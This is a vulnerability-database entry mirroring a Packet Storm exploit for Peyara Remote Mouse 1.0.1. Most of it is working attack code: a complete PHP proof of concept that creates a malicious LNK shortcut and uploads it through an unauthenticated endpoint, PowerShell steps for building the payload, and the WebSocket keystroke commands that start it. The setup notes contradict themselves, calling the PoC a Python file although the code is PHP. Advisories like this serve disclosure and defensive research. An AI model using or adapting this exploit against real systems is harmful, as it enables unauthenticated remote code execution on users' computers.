Lucene search
K

📄 Peyara Remote Mouse 1.0.1 Shell Upload / Code Execution

🗓️ 13 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 119 Views

Unauthenticated file upload in Peyara Remote Mouse 1.0.1 enables uploads and code execution.

Code
=============================================================================================================================================
    | # Title     : Peyara Remote Mouse 1.0.1 – Unauthenticated Arbitrary File Upload (LNK Execution)                                           |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://peyara-remote-mouse.vercel.app/                                                                                     |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/198932/ 
    
    [+] Summary    : The Peyara Remote Mouse desktop control software exposes an unauthenticated file upload endpoint, along with an unauthenticated WebSocket control channel.
                     An attacker can upload arbitrary files (including .LNK shortcuts) to the victim environment and trigger command execution via simulated keystrokes.
    
    The attack chain:
    
    1) HTTP POST → Arbitrary file upload to Desktop
    2) WebSocket keystroke injection (Ctrl+Esc → cmd → Enter)
    3) Execution of uploaded LNK payload
    4) Achieves arbitrary code execution on the system
    
    This vulnerability results in full compromise of the remote system.
    
    ==[ PoC ]===================================================================
    (Save as: exploit_poc.py)
    
    <CODE HERE – (below in this document)>
    
    ==[ Usage ]================================================================
        php poc.php <target_ip> <path_to_lnk_file>
    
    Example:
        php poc.php 192.168.1.10 evil.lnk
    
    ==[ Instructions To Save The PoC ]=========================================
    1) Copy the entire code block into a file:
           exploit_poc
    2) Ensure Python 3.10+ and "requests" + "websockets" are installed:
           pip install requests websockets
    3) Generate the malicious LNK payload (instructions below)
    4) Run the exploit:
           php poc.php <target_ip> <evil.lnk>
    
    ==[ Instructions To Generate LNK Payload ]=================================
    Execute in PowerShell:
    
        $WshShell = New-Object -ComObject WScript.Shell
        $Shortcut = $WshShell.CreateShortcut("$env:USERPROFILE\Desktop\evil.lnk")
        $Shortcut.TargetPath = "powershell.exe"
        $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command "Start-Process calc.exe"'
        $Shortcut.WorkingDirectory = "%USERPROFILE%"
        $Shortcut.IconLocation = "%SystemRoot%\System32\shell32.dll,1"
        $Shortcut.Save()
    
    
    [+] POC : 
    
    
    <?php
    // Peyara Remote Mouse Exploit - by indoushka
    if ($argc < 2) {
        die("Usage: php $argv[0] <target_ip> [lnk_file]\n" .
            "Example: php $argv[0] 127.0.0.1\n" .
            "Example: php $argv[0] 127.0.0.1 evil.lnk\n");
    }
    
    $target = $argv[1];
    $lnkFile = $argc > 2 ? $argv[2] : null;
    
    // إنشاء ملف LNK إذا لم يتم توفيره
    if (!$lnkFile || !file_exists($lnkFile)) {
        echo "[*] Creating LNK file...\n";
        $lnkFile = "evil_" . time() . ".lnk";
        $cmd = 'powershell -Command "$WshShell = New-Object -ComObject WScript.Shell; ' .
               '$Shortcut = $WshShell.CreateShortcut(\"' . $lnkFile . '\"); ' .
               '$Shortcut.TargetPath = \"powershell.exe\"; ' .
               '$Shortcut.Arguments = \"-NoProfile -ExecutionPolicy Bypass -Command `\"Start-Process calc.exe`\"\"; ' .
               '$Shortcut.Save()"';
        
        @system($cmd);
        
        if (!file_exists($lnkFile)) {
            die("[-] Failed to create LNK file. Create it manually:\n$cmd\n");
        }
        echo "[+] Created LNK file: $lnkFile\n";
    }
    
    // رفع الملف
    echo "[*] Uploading to http://$target:1313/upload ...\n";
    
    $boundary = "rEZVajKDyijVrXLV2h8zOkgpm4x2NfDfmVs4UdvkPQwgoATx18zpO9ecnaRDQgVDjrOmpt";
    $content = file_get_contents($lnkFile);
    
    $body = "--$boundary\r\n" .
            "Content-Disposition: form-data; name=\"file\"; filename=\"evil.lnk\"; filename*=utf-8''evil.lnk\r\n" .
            "Content-Type: application/octet-stream\r\n\r\n" .
            $content . "\r\n" .
            "--$boundary--\r\n";
    
    $ch = curl_init("http://$target:1313/upload");
    curl_setopt_array($ch, [
        CURLOPT_POST => true,
        CURLOPT_HTTPHEADER => [
            "Host: $target:1313",
            "Content-Type: multipart/form-data; boundary=$boundary",
            "Content-Length: " . strlen($body),
            "User-Agent: Peyara/4 CFNetwork/1496.0.7 Darwin/23.5.0"
        ],
        CURLOPT_POSTFIELDS => $body,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10
    ]);
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    if ($httpCode == 200) {
        echo "[+] File uploaded successfully!\n\n";
        echo "[*] Now connect via WebSocket and execute:\n";
        echo "    URL: ws://$target:1313/socket.io/?EIO=4&transport=websocket\n\n";
        echo "    Commands to send:\n";
        echo "    1. 40\n";
        echo "    2. 42[\"edit-key\",{\"key\":\"escape\",\"modifier\":[\"control\"]}]\n";
        echo "    3. Type 'cmd' + Enter\n";
        echo "    4. Run: for %i in (\"%USERPROFILE%\\Desktop\\*evil.lnk\") do start \"\" \"%i\"\n";
    } else {
        echo "[-] Upload failed: HTTP $httpCode\n";
        if ($response) echo "Response: $response\n";
    }
    
    curl_close($ch);
    
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation